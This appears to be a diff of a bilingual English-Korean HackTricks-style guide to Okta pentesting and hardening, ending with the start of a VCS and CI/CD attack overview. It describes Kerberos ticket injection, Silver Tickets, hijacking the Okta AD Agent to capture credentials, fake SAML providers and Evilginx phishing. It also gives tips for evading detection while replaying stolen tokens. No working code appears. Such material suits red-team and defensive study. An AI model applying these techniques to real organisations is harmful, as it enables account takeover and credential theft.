Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없는 경우, 조직이 **CNAME** 레코드를 가지고 있을 가능성도 있습니다, 예를 들어 **`okta.companyname.com`**이 **Okta 포털**을 가리키고 있습니다.
### Login in Okta via Kerberos
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, Rubeus 또는 Mimikatz와 같은 도구를 사용하여 제어된 호스트에 **주입**하고, **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있어야 합니다**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며, Okta 대시보드에 접근할 수 있습니다.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 사용한 티켓 암호화는 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
이 기술은 **서버에서 Okta AD Agent에 접근하는 것**을 포함하며, 이는 **사용자를 동기화하고 인증을 처리합니다**. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이는 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 보편적인 인증을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사).
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화는 에이전트가 **인증 시도를 처리**할 수 있게 하여 Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta Fake SAML Provider
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
이 기술은 **가짜 SAML 공급자를 배포하는 것**을 포함합니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써, 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면, 개별 사용자 자격 증명 없이도 모든 Okta 사용자로 인증할 수 있어, 접근 제어를 크게 강화할 수 있습니다.
### Phishing Okta Portal with Evilgnix
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
[**이 블로그 게시물**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)에서는 Okta 포털에 대한 피싱 캠페인을 준비하는 방법을 설명합니다.
### Colleague Impersonation Attack
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
각 사용자가 가질 수 있고 수정할 수 있는 **속성**(예: 이메일 또는 이름)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 그 플랫폼에서 **다른 사용자를 가장할 수 있습니다**.
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
따라서, 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 일반적으로 그 필드를 변경할 수 없지만, 예를 들어 **`primaryEmail`**을 신뢰하고 있다면, **동료의 이메일 주소로 변경**하여 가장할 수 있습니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다).
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만 탈취될 것입니다.\
따라서, 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
또한 Okta 설정에 해당 필드가 없는 다른 취약한 애플리케이션도 보았습니다 (결국 서로 다른 애플리케이션이 다르게 구성됩니다).
The best way to find out if you could impersonate anyone on each app would be to try it!
각 애플리케이션에서 누군가를 가장할 수 있는지 알아보는 가장 좋은 방법은 시도해 보는 것입니다!
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Okta의 행동 탐지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오.
Key recommendations include:
주요 권장 사항은 다음과 같습니다:
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
- 캡처된 접근 토큰을 재생할 때 인기 있는 익명화 프록시 및 VPN 서비스를 **사용하지 마십시오**.
- 클라이언트와 재생된 접근 토큰 간에 **일관된 사용자 에이전트 문자열**을 보장하십시오.
- 동일한 IP 주소에서 다른 사용자로부터 **토큰을 재생하지 마십시오**.
- Okta 대시보드에 대해 토큰을 재생할 때 주의하십시오.
- 피해 회사의 IP 주소를 알고 있다면, **해당 IP 또는 범위로 트래픽을 제한**하고 모든 다른 트래픽을 차단하십시오.
## Okta Hardening
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
Okta는 많은 가능한 구성이 있으며, 이 페이지에서는 가능한 한 안전하게 검토하는 방법을 찾을 수 있습니다:
{{#ref}}
okta-hardening.md
@@ -112,6 +112,3 @@ okta-hardening.md
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,72 +6,72 @@
### People
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. 왜냐하면 **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 해당 OS)를 볼 수 있기 때문입니다.
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
화이트박스 검토를 위해 "**대기 중인 사용자 작업**" "**비밀번호 재설정**"이 여러 개 없는지 확인하십시오.
### Groups
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
여기에서 Okta에 생성된 모든 그룹을 찾을 수 있습니다. **사용자**에게 부여될 수 있는 다양한 그룹(일련의 **권한**)을 이해하는 것이 흥미롭습니다.\
**그룹에 포함된 사람들**과 각 그룹에 **할당된 앱**을 볼 수 있습니다.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
물론, **admin**이라는 이름의 그룹은 흥미롭습니다. 특히 **Global Administrators** 그룹을 확인하여 가장 특권이 있는 구성원이 누구인지 알아보십시오.
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
화이트박스 검토에서 **글로벌 관리자가 5명 이상이면 안 됩니다**(2명 또는 3명만 있는 것이 더 좋습니다).
### Devices
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. 또한 **적극적으로 관리되고 있는지** 여부를 확인할 수 있습니다.
### Profile Editor
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
여기에서는 이름, 성, 이메일, 사용자 이름 등과 같은 주요 정보가 Okta와 다른 애플리케이션 간에 어떻게 공유되는지 관찰할 수 있습니다. 사용자가 **Okta에서 필드**(예: 이름 또는 이메일)를 수정할 수 있다면, 이는 **외부 애플리케이션**에서 사용자를 **식별**하는 데 사용될 수 있으므로 내부자가 다른 계정을 **탈취**하려고 시도할 수 있습니다.
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
또한, Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 볼 수 있습니다. 관리 패널을 볼 수 없는 경우, **프로필 정보 업데이트**로 이동하면 어떤 필드를 업데이트할 수 있는지 확인할 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다).
### Directory Integrations
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
디렉토리는 기존 소스에서 사람을 가져올 수 있게 해줍니다. 여기에서 다른 디렉토리에서 가져온 사용자를 볼 수 있을 것입니다.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
나는 이것을 본 적이 없지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**.
### Profile Sources
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
프로필 소스는 사용자 프로필 속성의 **진실의 출처로 작용하는 애플리케이션**입니다. 사용자는 한 번에 단일 애플리케이션 또는 디렉토리에서만 소스될 수 있습니다.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
나는 이것을 본 적이 없으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다.
## Customizations
### Brands
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
이 섹션의 **Domains** 탭에서 이메일 주소를 확인하고 회사의 Okta 내 사용자 지정 도메인을 확인하십시오(아마 이미 알고 있을 것입니다).
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
또한, **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다.
### SMS
Nothing interesting here.
여기서는 흥미로운 것이 없습니다.
### End-User Dashboard
You can find here applications configured, but we will see the details of those later in a different section.
여기에서 구성된 애플리케이션을 찾을 수 있지만, 그에 대한 세부정보는 나중에 다른 섹션에서 볼 것입니다.
### Other
Interesting setting, but nothing super interesting from a security point of view.
흥미로운 설정이지만 보안 관점에서 특별히 흥미로운 것은 없습니다.
## Applications
### Applications
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
여기에서 모든 **구성된 애플리케이션**과 그 세부정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑...
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
**`Sign On`** 탭에는 사용자가 애플리케이션 설정을 확인할 때 **비밀번호를 표시**할 수 있는 **`Password reveal`**이라는 필드도 있습니다. 사용자 패널에서 애플리케이션의 설정을 확인하려면 3개의 점을 클릭하십시오:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
And you could see some more details about the app (like the password reveal feature, if it's enabled):
그리고 앱에 대한 더 많은 세부정보(비밀번호 표시 기능이 활성화되어 있는지 등)를 볼 수 있습니다:
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
@@ -79,124 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Access Certifications를 사용하여 사용자의 리소스 접근을 주기적으로 검토하고 필요할 때 자동으로 접근을 승인하거나 철회하는 감사 캠페인을 생성하십시오.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
나는 이것이 사용되는 것을 본 적이 없지만, 방어적인 관점에서 볼 때 좋은 기능이라고 생각합니다.
## Security
### General
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
- **보안 알림 이메일**: 모두 활성화되어야 합니다.
- **CAPTCHA 통합**: 최소한 보이지 않는 reCaptcha를 설정하는 것이 좋습니다.
- **조직 보안**: 모든 것을 활성화할 수 있으며 활성화 이메일은 오래 걸리지 않아야 합니다(7일이면 괜찮습니다).
- **사용자 열거 방지**: 두 가지 모두 활성화되어야 합니다.
- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건 중 하나가 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오):
- 셀프 서비스 등록
- 이메일 인증이 있는 JIT 흐름
- **Okta ThreatInsight 설정**: 위협 수준에 따라 보안을 기록하고 시행합니다.
### HealthInsight
Here is possible to find correctly and **dangerous** configured **settings**.
여기에서 올바르게 구성된 **설정**과 **위험한** 설정을 찾을 수 있습니다.
### Authenticators
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
여기에서 사용자가 사용할 수 있는 모든 인증 방법을 찾을 수 있습니다: 비밀번호, 전화, 이메일, 코드, WebAuthn... 비밀번호 인증기를 클릭하면 **비밀번호 정책**을 볼 수 있습니다. 강력한지 확인하십시오.
In the **Enrollment** tab you can see how the ones that are required or optinal:
**Enrollment** 탭에서는 필수 또는 선택 사항인 항목을 볼 수 있습니다:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마도 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다.
### Authentication policies
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
모든 앱에는 인증 정책이 있습니다. 인증 정책은 앱에 로그인하려는 사용자가 특정 조건을 충족하는지 확인하고 해당 조건에 따라 요소 요구 사항을 시행합니다.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
여기에서 각 애플리케이션에 대한 **접근 요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 비밀번호와 다른 방법을 최소한 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다.
### Global Session Policy
Here you can find the session policies assigned to different groups. For example:
여기에서 다양한 그룹에 할당된 세션 정책을 찾을 수 있습니다. 예를 들어:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
MFA를 요청하고, 세션 수명을 몇 시간으로 제한하며, 브라우저 확장 프로그램 간에 세션 쿠키를 지속하지 않도록 하고, 위치 및 ID 공급자를 제한하는 것이 좋습니다(가능한 경우). 예를 들어, 모든 사용자가 특정 국가에서 로그인해야 하는 경우 해당 위치만 허용할 수 있습니다.
### Identity Providers
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
ID 공급자(IdP)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdP를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
ID 공급자 페이지에서 소셜 로그인을 추가하고 Okta를 서비스 제공자(SP)로 구성하여 인바운드 SAML을 추가할 수 있습니다. IdP를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
**어떤 ID 공급자가 구성되어 있다면** 공격자와 방어자의 관점에서 해당 구성을 확인하고 **출처가 정말 신뢰할 수 있는지** 확인하십시오. 공격자가 이를 타협하면 Okta 환경에 접근할 수 있습니다.
### Delegated Authentication
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
위임 인증을 통해 사용자는 조직의 **Active Directory(AD) 또는 LDAP** 서버에 대한 자격 증명을 입력하여 Okta에 로그인할 수 있습니다.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
다시 확인하십시오. 공격자가 조직의 AD를 타협하면 이 설정 덕분에 Okta로 피벗할 수 있습니다.
### Network
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
네트워크 존은 요청하는 **IP 주소**에 따라 조직의 컴퓨터 및 장치에 대한 접근을 **부여하거나 제한**하는 데 사용할 수 있는 구성 가능한 경계입니다. 하나 이상의 개별 IP 주소, IP 주소 범위 또는 지리적 위치를 지정하여 네트워크 존을 정의할 수 있습니다.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
하나 이상의 네트워크 존을 정의한 후에는 **글로벌 세션 정책**, **인증 정책**, VPN 알림 및 **라우팅 규칙**에서 이를 사용할 수 있습니다.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
공격자의 관점에서 어떤 IP가 허용되는지 아는 것이 흥미롭습니다(그리고 어떤 **IP가 다른 IP보다 더 특권이 있는지 확인하십시오**). 공격자의 관점에서 사용자가 특정 IP 주소나 지역에서 접근해야 하는 경우 이 기능이 제대로 사용되고 있는지 확인하십시오.
### Device Integrations
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
- **Endpoint Management**: 엔드포인트 관리는 관리되는 장치가 애플리케이션에 접근할 수 있도록 보장하기 위해 인증 정책에 적용할 수 있는 조건입니다.
- 나는 이것이 사용되는 것을 본 적이 없습니다. TODO
- **Notification services**: 나는 이것이 사용되는 것을 본 적이 없습니다. TODO
### API
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **사용자**가 **활성** 상태일 때만 유효합니다.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
**신뢰할 수 있는 출처**는 Okta API를 통해 Okta 조직에 접근할 수 있도록 제어하고 신뢰하는 웹사이트에 대한 접근을 부여합니다.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이를 접근하고 사용할 수 있습니다.
## Workflow
### Automations
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
자동화는 최종 사용자의 생애 주기 동안 발생하는 일련의 트리거 조건에 따라 실행되는 자동화된 작업을 생성할 수 있게 해줍니다.
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
예를 들어 조건은 "Okta에서 사용자 비활성" 또는 "Okta에서 사용자 비밀번호 만료"일 수 있으며, 작업은 "사용자에게 이메일 전송" 또는 "Okta에서 사용자 생애 주기 상태 변경"일 수 있습니다.
## Reports
### Reports
Download logs. They are **sent** to the **email address** of the current account.
로그를 다운로드하십시오. 현재 계정의 **이메일 주소**로 **전송**됩니다.
### System Log
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부정보가 포함되어 있습니다.
### Import Monitoring
This can **import logs from the other platforms** accessed with Okta.
이것은 **다른 플랫폼에서 가져온 로그**를 **가져올 수 있습니다**.
### Rate limits
Check the API rate limits reached.
도달한 API 속도 제한을 확인하십시오.
## Settings
### Account
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
여기에서 Okta 환경에 대한 **일반 정보**를 찾을 수 있습니다. 회사 이름, 주소, **이메일 청구 연락처**, **이메일 기술 연락처** 및 Okta 업데이트를 받을 사람과 어떤 종류의 Okta 업데이트인지 포함됩니다.
### Downloads
Here you can download Okta agents to sync Okta with other technologies.
여기에서 Okta 에이전트를 다운로드하여 Okta를 다른 기술과 동기화할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,7 +6,7 @@
## VCS
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
VCS **Version Control System**의 약자로, 이 시스템은 개발자가 **source code를 관리**할 수 있게 해줍니다. 가장 일반적인 것은 **git**이며, 회사들은 보통 다음과 같은 **platforms** 중 하나를 사용합니다:
- Github
- Gitlab
@@ -18,86 +18,93 @@ VCS stands for **Version Control System**, this systems allows developers to **m
## CI/CD Pipelines
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
CI/CD pipelines는 개발자가 빌드, 테스트, 배포 등 다양한 목적을 위해 **코드 실행을 자동화**할 수 있게 해줍니다. 이러한 자동화된 워크플로우는 코드 푸시, pull requests, 또는 예약 작업과 같은 **특정 동작에 의해 트리거**됩니다. 이는 개발에서 프로덕션으로 가는 과정을 간소화하는 데 유용합니다.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
그러나 이러한 시스템은 **어딘가에서 실행되어야** 하고 보통은 **код를 배포하거나 민감한 정보에 접근하기 위한 권한 있는 자격증명**을 필요로 합니다.
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
프로젝트의 source code를 포함하는 플랫폼에는 민감한 정보가 들어있으며, 이 플랫폼 내에서 부여되는 권한을 매우 신중하게 관리해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제는 다음과 같습니다:
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
- **Leaks**: 코드에 commits에 leaks가 포함되어 있고 공격자가 repo에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우) 그 leaks를 발견할 수 있습니다.
- **Access**: 공격자가 **VCS platform 내의 계정에 접근**할 수 있다면 **더 많은 가시성 및 권한**을 얻을 수 있습니다.
- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하도록 허용합니다.
- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만 유효한 SSO로 누구나 접근할 수 있게 허용합니다(예: 공격자가 자신의 github 계정으로 접근할 수 있음).
